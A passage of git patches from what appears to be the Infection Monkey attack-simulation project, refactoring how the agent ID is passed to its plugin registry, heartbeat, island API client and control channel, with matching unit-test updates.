MagicMock(spec=IAgentEventQueue), AGENT_ID ) file = target_dir / "file.txt" diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index 01c32947088..478ce3bc1d9 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -14,6 +14,7 @@ from common.agent_events import AbstractAgentEvent, FileEncryptionEvent from common.event_queue import AgentEventSubscriber, IAgentEventQueue +from common.types import AgentID from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC from infection_monkey.payload.ransomware.ransomware import Ransomware from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions @@ -64,6 +65,7 @@ def inner( file_selector, leave_readme, agent_event_queue_spy, + AgentID("8f53f4fb-2d33-465a-aa9c-de704a7e42b3"), ) return inner From 6cf118befd7f06c5d8a58ec61bdb5d0ae0e5ccb1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 18:13:59 +0000 Subject: [PATCH 0910/1338] Agent: Pass Agent ID to PluginRegistry Issue #3119 PR #3159 --- monkey/infection_monkey/monkey.py | 1 + monkey/infection_monkey/puppet/plugin_registry.py | 5 +++-- .../infection_monkey/puppet/test_plugin_registry.py | 5 +++++ .../tests/unit_tests/infection_monkey/puppet/test_puppet.py | 1 + 4 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index b8151ec5edd..5fa0a861fa5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -402,6 +402,7 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: self._propagation_credentials_repository, self._tcp_port_selector, otp_provider, + self._agent_id, ) plugin_compatability_verifier = PluginCompatabilityVerifier( self._island_api_client, HARD_CODED_EXPLOITER_MANIFESTS diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index b7a34a2df0a..1379256c0e0 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -9,12 +9,12 @@ from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginType from common.event_queue import IAgentEventPublisher +from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.i_puppet import UnknownPluginError from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIRequestError from infection_monkey.network import TCPPortSelector from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository -from infection_monkey.utils.ids import get_agent_id from . import PluginSourceExtractor @@ -35,6 +35,7 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, tcp_port_selector: TCPPortSelector, otp_provider: IAgentOTPProvider, + agent_id: AgentID, ): """ `self._registry` looks like - @@ -57,7 +58,7 @@ def __init__( self._tcp_port_selector = tcp_port_selector self._otp_provider = otp_provider - self._agent_id = get_agent_id() + self._agent_id = agent_id self._lock = RLock() def get_plugin(self, plugin_type: AgentPluginType, plugin_name: str) -> Any: diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py index a645f1445cc..d530561cb54 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py @@ -6,6 +6,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.event_queue import IAgentEventPublisher +from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.i_puppet import UnknownPluginError from infection_monkey.island_api_client import ( @@ -17,6 +18,8 @@ from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.puppet import PluginRegistry, PluginSourceExtractor +AGENT_ID = AgentID("707d801b-68cf-44d1-8a4e-7e1a89c412f8") + @pytest.fixture def dummy_plugin_source_extractor() -> PluginSourceExtractor: @@ -82,6 +85,7 @@ def test_get_plugin__error_handling( dummy_propagation_credentials_repository, dummy_tcp_port_selector, dummy_otp_provider, + AGENT_ID, ) with pytest.raises(error_raised_by_plugin_registry): @@ -147,6 +151,7 @@ def plugin_registry( dummy_propagation_credentials_repository, dummy_tcp_port_selector, dummy_otp_provider, + AGENT_ID, ) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 41043d121e0..c5444653668 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -31,6 +31,7 @@ def mock_plugin_registry() -> PluginRegistry: MagicMock(), MagicMock(), MagicMock(), + AgentID("fd838244-385f-41b4-9904-495e3c7b644e"), ) From a14a01cdcf89012b633e100375b141868f401806 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 16:29:05 +0000 Subject: [PATCH 0911/1338] Agent: Pass Agent ID to Heart Issue #3119 PR #3155 --- monkey/infection_monkey/heart.py | 6 +++--- monkey/infection_monkey/monkey.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/heart.py b/monkey/infection_monkey/heart.py index 35a5e1f771c..aced135b0f1 100644 --- a/monkey/infection_monkey/heart.py +++ b/monkey/infection_monkey/heart.py @@ -2,20 +2,20 @@ import time from common.common_consts import HEARTBEAT_INTERVAL +from common.types import AgentID from common.utils.code_utils import PeriodicCaller from infection_monkey.island_api_client import IIslandAPIClient -from infection_monkey.utils.ids import get_agent_id logger = logging.getLogger(__name__) class Heart: - def __init__(self, island_api_client: IIslandAPIClient): + def __init__(self, island_api_client: IIslandAPIClient, agent_id: AgentID): self._island_api_client = island_api_client self._periodic_caller = PeriodicCaller( self._send_heartbeats, HEARTBEAT_INTERVAL, "AgentHeart" ) - self._agent_id = get_agent_id() + self._agent_id = agent_id def start(self): logger.info("Starting the Agent's heart") diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5fa0a861fa5..2520ec8bc53 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -152,7 +152,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._island_api_client, self._manager ) - self._heart = Heart(self._island_api_client) + self._heart = Heart(self._island_api_client, self._agent_id) self._heart.start() self._current_depth = self._opts.depth From 11bf0074c90da39f2005bfba9b5520d167ec9b84 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 13:39:15 +0000 Subject: [PATCH 0912/1338] Agent: Pass AgentID to IslandAPIClient --- monkey/infection_monkey/heart.py | 6 ++---- .../configuration_validator_decorator.py | 4 ++-- .../island_api_client/http_island_api_client.py | 6 ++++-- .../http_island_api_client_factory.py | 11 ++++++++--- .../island_api_client/i_island_api_client.py | 3 +-- monkey/infection_monkey/monkey.py | 4 ++-- .../infection_monkey/base_island_api_client.py | 2 +- .../island_api_client/test_http_island_api_client.py | 2 +- 8 files changed, 21 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/heart.py b/monkey/infection_monkey/heart.py index aced135b0f1..fbbca811e37 100644 --- a/monkey/infection_monkey/heart.py +++ b/monkey/infection_monkey/heart.py @@ -2,7 +2,6 @@ import time from common.common_consts import HEARTBEAT_INTERVAL -from common.types import AgentID from common.utils.code_utils import PeriodicCaller from infection_monkey.island_api_client import IIslandAPIClient @@ -10,19 +9,18 @@ class Heart: - def __init__(self, island_api_client: IIslandAPIClient, agent_id: AgentID): + def __init__(self, island_api_client: IIslandAPIClient): self._island_api_client = island_api_client self._periodic_caller = PeriodicCaller( self._send_heartbeats, HEARTBEAT_INTERVAL, "AgentHeart" ) - self._agent_id = agent_id def start(self): logger.info("Starting the Agent's heart") self._periodic_caller.start() def _send_heartbeats(self): - self._island_api_client.send_heartbeat(self._agent_id, time.time()) + self._island_api_client.send_heartbeat(time.time()) def stop(self): logger.info("Stopping the Agent's heart") diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index d7d9691edfa..9d312c87f72 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -72,8 +72,8 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): def send_events(self, events: Sequence[AbstractAgentEvent]): return self._island_api_client.send_events(events) - def send_heartbeat(self, agent_id: AgentID, timestamp: float): - return self._island_api_client.send_heartbeat(agent_id, timestamp) + def send_heartbeat(self, timestamp: float): + return self._island_api_client.send_heartbeat(timestamp) def send_log(self, agent_id: AgentID, log_contents: str): return self._island_api_client.send_log(agent_id, log_contents) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 1f7dbce27da..9ea044145f7 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -51,9 +51,11 @@ def __init__( self, agent_event_serializer_registry: AgentEventSerializerRegistry, http_client: HTTPClient, + agent_id: AgentID, ): self._agent_event_serializer_registry = agent_event_serializer_registry self._http_client = http_client + self._agent_id = agent_id @handle_response_parsing_errors def login(self, otp: OTP): @@ -154,9 +156,9 @@ def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSeriali return serialized_events - def send_heartbeat(self, agent_id: AgentID, timestamp: float): + def send_heartbeat(self, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) - self._http_client.post(f"/agent/{agent_id}/heartbeat", data) + self._http_client.post(f"/agent/{self._agent_id}/heartbeat", data) def send_log(self, agent_id: AgentID, log_contents: str): self._http_client.put( diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py index 5b1f37efe65..2f76db3a94c 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py @@ -1,5 +1,5 @@ from common.agent_event_serializers import AgentEventSerializerRegistry -from common.types import SocketAddress +from common.types import AgentID, SocketAddress from . import ( AbstractIslandAPIClientFactory, @@ -11,12 +11,17 @@ class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): - def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry): + def __init__( + self, agent_event_serializer_registry: AgentEventSerializerRegistry, agent_id: AgentID + ): self._agent_event_serializer_registry = agent_event_serializer_registry + self._agent_id = agent_id def create_island_api_client(self, server: SocketAddress) -> IIslandAPIClient: return ConfigurationValidatorDecorator( HTTPIslandAPIClient( - self._agent_event_serializer_registry, HTTPClient(f"https://{server}/api") + self._agent_event_serializer_registry, + HTTPClient(f"https://{server}/api"), + self._agent_id, ) ) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 2b35348dda8..510593a95b4 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -197,11 +197,10 @@ def send_events(self, events: Sequence[AbstractAgentEvent]): """ @abstractmethod - def send_heartbeat(self, agent_id: AgentID, timestamp: float): + def send_heartbeat(self, timestamp: float): """ Send a "heartbeat" to the Island to indicate that the agent is still alive - :param agent_id: The ID of the agent who is sending a heartbeat :param timestamp: The timestamp of the agent's heartbeat :raises IslandAPIAuthenticationError: If the client is not authorized to access this endpoint diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 2520ec8bc53..7f8ffd7f2f8 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -152,7 +152,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._island_api_client, self._manager ) - self._heart = Heart(self._island_api_client, self._agent_id) + self._heart = Heart(self._island_api_client) self._heart.start() self._current_depth = self._opts.depth @@ -202,7 +202,7 @@ def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: ) http_island_api_client_factory = HTTPIslandAPIClientFactory( - self._agent_event_serializer_registry + self._agent_event_serializer_registry, self._agent_id ) server, island_api_client = self._select_server( diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index c79800b2d73..c7581b0640e 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -45,7 +45,7 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): def send_events(self, events: Sequence[AbstractAgentEvent]): pass - def send_heartbeat(self, agent: AgentID, timestamp: float): + def send_heartbeat(self, timestamp: float): pass def send_log(self, agent_id: AgentID, log_contents: str): diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 98b5e036423..afda6a6c32e 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -88,7 +88,7 @@ def agent_event_serializer_registry(): def build_api_client(http_client): - return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client) + return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client, AGENT_ID) def _build_client_with_json_response(response): From 84ddd7e5c9f55a4b99f287ac6c17371fe997d5e0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 13:49:05 +0000 Subject: [PATCH 0913/1338] Agent: Remove agent_id param from IIslandAPIClient.send_log --- .../island_api_client/configuration_validator_decorator.py | 4 ++-- .../island_api_client/http_island_api_client.py | 4 ++-- .../infection_monkey/island_api_client/i_island_api_client.py | 3 +-- monkey/infection_monkey/monkey.py | 2 +- .../unit_tests/infection_monkey/base_island_api_client.py | 3 +-- 5 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 9d312c87f72..1efd1e4e336 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -75,5 +75,5 @@ def send_events(self, events: Sequence[AbstractAgentEvent]): def send_heartbeat(self, timestamp: float): return self._island_api_client.send_heartbeat(timestamp) - def send_log(self, agent_id: AgentID, log_contents: str): - return self._island_api_client.send_log(agent_id, log_contents) + def send_log(self, log_contents: str): + return self._island_api_client.send_log(log_contents) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 9ea044145f7..3d51b2c91f2 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -160,8 +160,8 @@ def send_heartbeat(self, timestamp: float): data = AgentHeartbeat(timestamp=timestamp).dict(simplify=True) self._http_client.post(f"/agent/{self._agent_id}/heartbeat", data) - def send_log(self, agent_id: AgentID, log_contents: str): + def send_log(self, log_contents: str): self._http_client.put( - f"/agent-logs/{agent_id}", + f"/agent-logs/{self._agent_id}", log_contents, ) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 510593a95b4..3bd4d4ee7e6 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -215,11 +215,10 @@ def send_heartbeat(self, timestamp: float): """ @abstractmethod - def send_log(self, agent_id: AgentID, log_contents: str): + def send_log(self, log_contents: str): """ Send the contents of the agent's log to the island - :param agent_id: The ID of the agent whose logs are being sent :param log_contents: The contents of the agent's log :raises IslandAPIAuthenticationError: If the client is not authorized to access this endpoint diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7f8ffd7f2f8..8b6de90524a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -553,7 +553,7 @@ def _send_log(self): except FileNotFoundError: logger.exception(f"Log file {self._log_path} is not found.") - self._island_api_client.send_log(self._agent_id, log_contents) + self._island_api_client.send_log(log_contents) def _delete_plugin_dir(self): if not self._plugin_dir.exists(): diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index c7581b0640e..96e3cd24d4c 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -5,7 +5,6 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID from infection_monkey.island_api_client import IIslandAPIClient @@ -48,5 +47,5 @@ def send_events(self, events: Sequence[AbstractAgentEvent]): def send_heartbeat(self, timestamp: float): pass - def send_log(self, agent_id: AgentID, log_contents: str): + def send_log(self, log_contents: str): pass From a3528acbb7c7e053972bda238efe8fe829707deb Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 14:00:10 +0000 Subject: [PATCH 0914/1338] Agent: Remove agent_id param from IIslandAPIClient.get_agent_signals --- .../configuration_validator_decorator.py | 5 ++--- .../island_api_client/http_island_api_client.py | 4 ++-- .../island_api_client/i_island_api_client.py | 6 ++---- monkey/infection_monkey/master/control_channel.py | 6 ++---- monkey/infection_monkey/monkey.py | 4 +--- .../unit_tests/infection_monkey/base_island_api_client.py | 2 +- .../island_api_client/test_http_island_api_client.py | 8 ++++---- .../infection_monkey/master/test_control_channel.py | 2 +- 8 files changed, 15 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 1efd1e4e336..0a1124a8c53 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -7,7 +7,6 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID from . import IIslandAPIClient, IslandAPIError @@ -46,8 +45,8 @@ def get_agent_plugin_manifest( ) -> AgentPluginManifest: return self._island_api_client.get_agent_plugin_manifest(plugin_type, plugin_name) - def get_agent_signals(self, agent_id: AgentID) -> AgentSignals: - return self._island_api_client.get_agent_signals(agent_id) + def get_agent_signals(self) -> AgentSignals: + return self._island_api_client.get_agent_signals() def get_agent_configuration_schema(self) -> Dict[str, Any]: return self._island_api_client.get_agent_configuration_schema() diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 3d51b2c91f2..40fe3e8fec2 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -103,9 +103,9 @@ def get_agent_plugin_manifest( return AgentPluginManifest(**response.json()) @handle_response_parsing_errors - def get_agent_signals(self, agent_id: str) -> AgentSignals: + def get_agent_signals(self) -> AgentSignals: response = self._http_client.get( - f"/agent-signals/{agent_id}", timeout=SHORT_REQUEST_TIMEOUT + f"/agent-signals/{self._agent_id}", timeout=SHORT_REQUEST_TIMEOUT ) return AgentSignals(**response.json()) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 3bd4d4ee7e6..b6a66d4ed5b 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -6,7 +6,6 @@ from common.agent_events import AbstractAgentEvent from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.credentials import Credentials -from common.types import AgentID class IIslandAPIClient(ABC): @@ -105,11 +104,10 @@ def get_agent_plugin_manifest( """ @abstractmethod - def get_agent_signals(self, agent_id: AgentID) -> AgentSignals: + def get_agent_signals(self) -> AgentSignals: """ - Gets an agent's signals from the island + Gets the agent's signals from the island - :param agent_id: ID of the agent whose signals should be retrieved :raises IslandAPIAuthenticationError: If the client is not authorized to access this endpoint :raises IslandAPIConnectionError: If the client could not connect to the island diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 0c2f7383028..8bafb00306c 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -6,7 +6,6 @@ from common.agent_configuration import AgentConfiguration from common.credentials import Credentials -from common.types import AgentID from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError @@ -27,8 +26,7 @@ def wrapper(*args, **kwargs): class ControlChannel(IControlChannel): - def __init__(self, server: str, agent_id: AgentID, api_client: IIslandAPIClient): - self._agent_id = agent_id + def __init__(self, server: str, api_client: IIslandAPIClient): self._control_channel_server = server self._island_api_client = api_client @@ -37,7 +35,7 @@ def should_agent_stop(self) -> bool: if not self._control_channel_server: logger.error("Agent should stop because it can't connect to the C&C server.") return True - agent_signals = self._island_api_client.get_agent_signals(self._agent_id) + agent_signals = self._island_api_client.get_agent_signals() return agent_signals.terminate is not None @handle_island_api_errors diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8b6de90524a..e80fe7c2b36 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -142,9 +142,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._island_address, self._island_api_client = self._connect_to_island_api() self._register_agent() - self._control_channel = ControlChannel( - str(self._island_address), self._agent_id, self._island_api_client - ) + self._control_channel = ControlChannel(str(self._island_address), self._island_api_client) self._legacy_propagation_credentials_repository = ( AggregatingPropagationCredentialsRepository(self._control_channel) ) diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index 96e3cd24d4c..3465d6fa6e1 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -26,7 +26,7 @@ def get_agent_plugin_manifest( ) -> AgentPluginManifest: pass - def get_agent_signals(self, agent_id: str) -> AgentSignals: + def get_agent_signals(self) -> AgentSignals: pass def get_agent_configuration_schema(self) -> Dict[str, Any]: diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index afda6a6c32e..6dec3890326 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -205,7 +205,7 @@ def test_island_api_client__unhandled_exceptions(): api_client = build_api_client(http_client_stub) with pytest.raises(OSError): - api_client.get_agent_signals(agent_id=AGENT_ID) + api_client.get_agent_signals() def test_island_api_client_get_otp(): @@ -229,7 +229,7 @@ def test_island_api_client__handled_exceptions(): api_client = build_api_client(http_client_stub) with pytest.raises(IslandAPIResponseParsingError): - api_client.get_agent_signals(agent_id=AGENT_ID) + api_client.get_agent_signals() def test_island_api_client_get_agent_plugin_manifest(): @@ -259,7 +259,7 @@ def test_island_api_client_get_agent_signals(timestamp): expected_agent_signals = AgentSignals(terminate=timestamp) api_client = _build_client_with_json_response({"terminate": timestamp}) - actual_agent_signals = api_client.get_agent_signals(agent_id=AGENT_ID) + actual_agent_signals = api_client.get_agent_signals() assert actual_agent_signals == expected_agent_signals @@ -269,7 +269,7 @@ def test_island_api_client_get_agent_signals__bad_json(timestamp): api_client = _build_client_with_json_response({"terminate": timestamp, "discombobulate": 20}) with pytest.raises(IslandAPIResponseParsingError): - api_client.get_agent_signals(agent_id=AGENT_ID) + api_client.get_agent_signals() def test_island_api_client_get_agent_configuration_schema(): diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py b/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py index efc52f79f3d..b29dbbc3443 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_control_channel.py @@ -32,7 +32,7 @@ def island_api_client() -> IIslandAPIClient: @pytest.fixture def control_channel(island_api_client) -> ControlChannel: - return ControlChannel(SERVER, AGENT_ID, island_api_client) + return ControlChannel(SERVER, island_api_client) @pytest.mark.parametrize("signal_time,expected_should_stop", [(1663950115, True), (None, False)]) From 1435429589891ec94593c596c47e6dbbfd5e3c9e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 14:01:57 +0000 Subject: [PATCH 0915/1338] UT: Implement all methods on BaseIslandAPIClient --- .../base_island_api_client.py | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index 3465d6fa6e1..57c75fc4b63 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -10,42 +10,44 @@ class BaseIslandAPIClient(IIslandAPIClient): def login(self, otp: str): - pass + return def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: - pass + return b"" - def get_agent_plugin(self, plugin_type: AgentPluginType, plugin_name: str) -> AgentPlugin: - pass + def get_agent_plugin( + self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str + ) -> AgentPlugin: + return AgentPlugin() def get_otp(self): - pass + return def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPluginManifest: - pass + return AgentPluginManifest() def get_agent_signals(self) -> AgentSignals: - pass + return AgentSignals() def get_agent_configuration_schema(self) -> Dict[str, Any]: - pass + return {} def get_config(self) -> AgentConfiguration: - pass + return AgentConfiguration() def get_credentials_for_propagation(self) -> Sequence[Credentials]: - pass + return [] def register_agent(self, agent_registration_data: AgentRegistrationData): - pass + return def send_events(self, events: Sequence[AbstractAgentEvent]): - pass + return def send_heartbeat(self, timestamp: float): - pass + return def send_log(self, log_contents: str): - pass + return From b7c32eb3a9a441b37467d8eaab142e194ab36f12 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 15:17:44 +0000 Subject: [PATCH 0916/1338] Agent: Remove caching from get_agent_id() Issue #3119 PR #3162 --- monkey/infection_monkey/utils/ids.py | 19 ++++++------------- .../infection_monkey/utils/test_ids.py | 7 ++++++- 2 files changed, 12 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/utils/ids.py b/monkey/infection_monkey/utils/ids.py index fc53a5147bc..d100cac6817 100644 --- a/monkey/infection_monkey/utils/ids.py +++ b/monkey/infection_monkey/utils/ids.py @@ -1,22 +1,15 @@ -from uuid import UUID, getnode, uuid4 +from uuid import getnode, uuid4 -from common.types import HardwareID +from common.types import AgentID, HardwareID -_id = None - -def get_agent_id() -> UUID: +def get_agent_id() -> AgentID: """ - Get the agent ID for the current running agent + Generate an agent ID - Each time an agent process starts, the return value of this function will be unique. Subsequent - calls to this function from within the same process will have the same return value. + Subsequent calls to this function will return a different ID. """ - global _id - if _id is None: - _id = uuid4() - - return _id + return uuid4() def get_machine_id() -> HardwareID: diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_ids.py b/monkey/tests/unit_tests/infection_monkey/utils/test_ids.py index 28fa9a64e2c..c71aee87aac 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_ids.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_ids.py @@ -7,7 +7,12 @@ def test_get_agent_id(): agent_id = get_agent_id() assert isinstance(agent_id, UUID) - assert agent_id == get_agent_id() + + +def test_get_agent_id__is_unique(): + agent_id = get_agent_id() + + assert agent_id != get_agent_id() def test_get_machine_id(): From 5d43ce4aa1d707fcf9e889bc2bb8bd8a166b4f52 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 13:43:20 +0530 Subject: [PATCH 0917/1338] Hadoop: Modify exploitation commands to set the Agent OTP --- .../exploiters/hadoop/src/hadoop_command_builder.py | 10 ++++++++-- .../exploiters/hadoop/src/hadoop_exploiter.py | 5 ++++- monkey/agent_plugins/exploiters/hadoop/src/plugin.py | 2 +- 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 1cefa96bfea..0fd7b36a2f5 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -2,6 +2,8 @@ from common import OperatingSystem from common.types import AgentID +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import 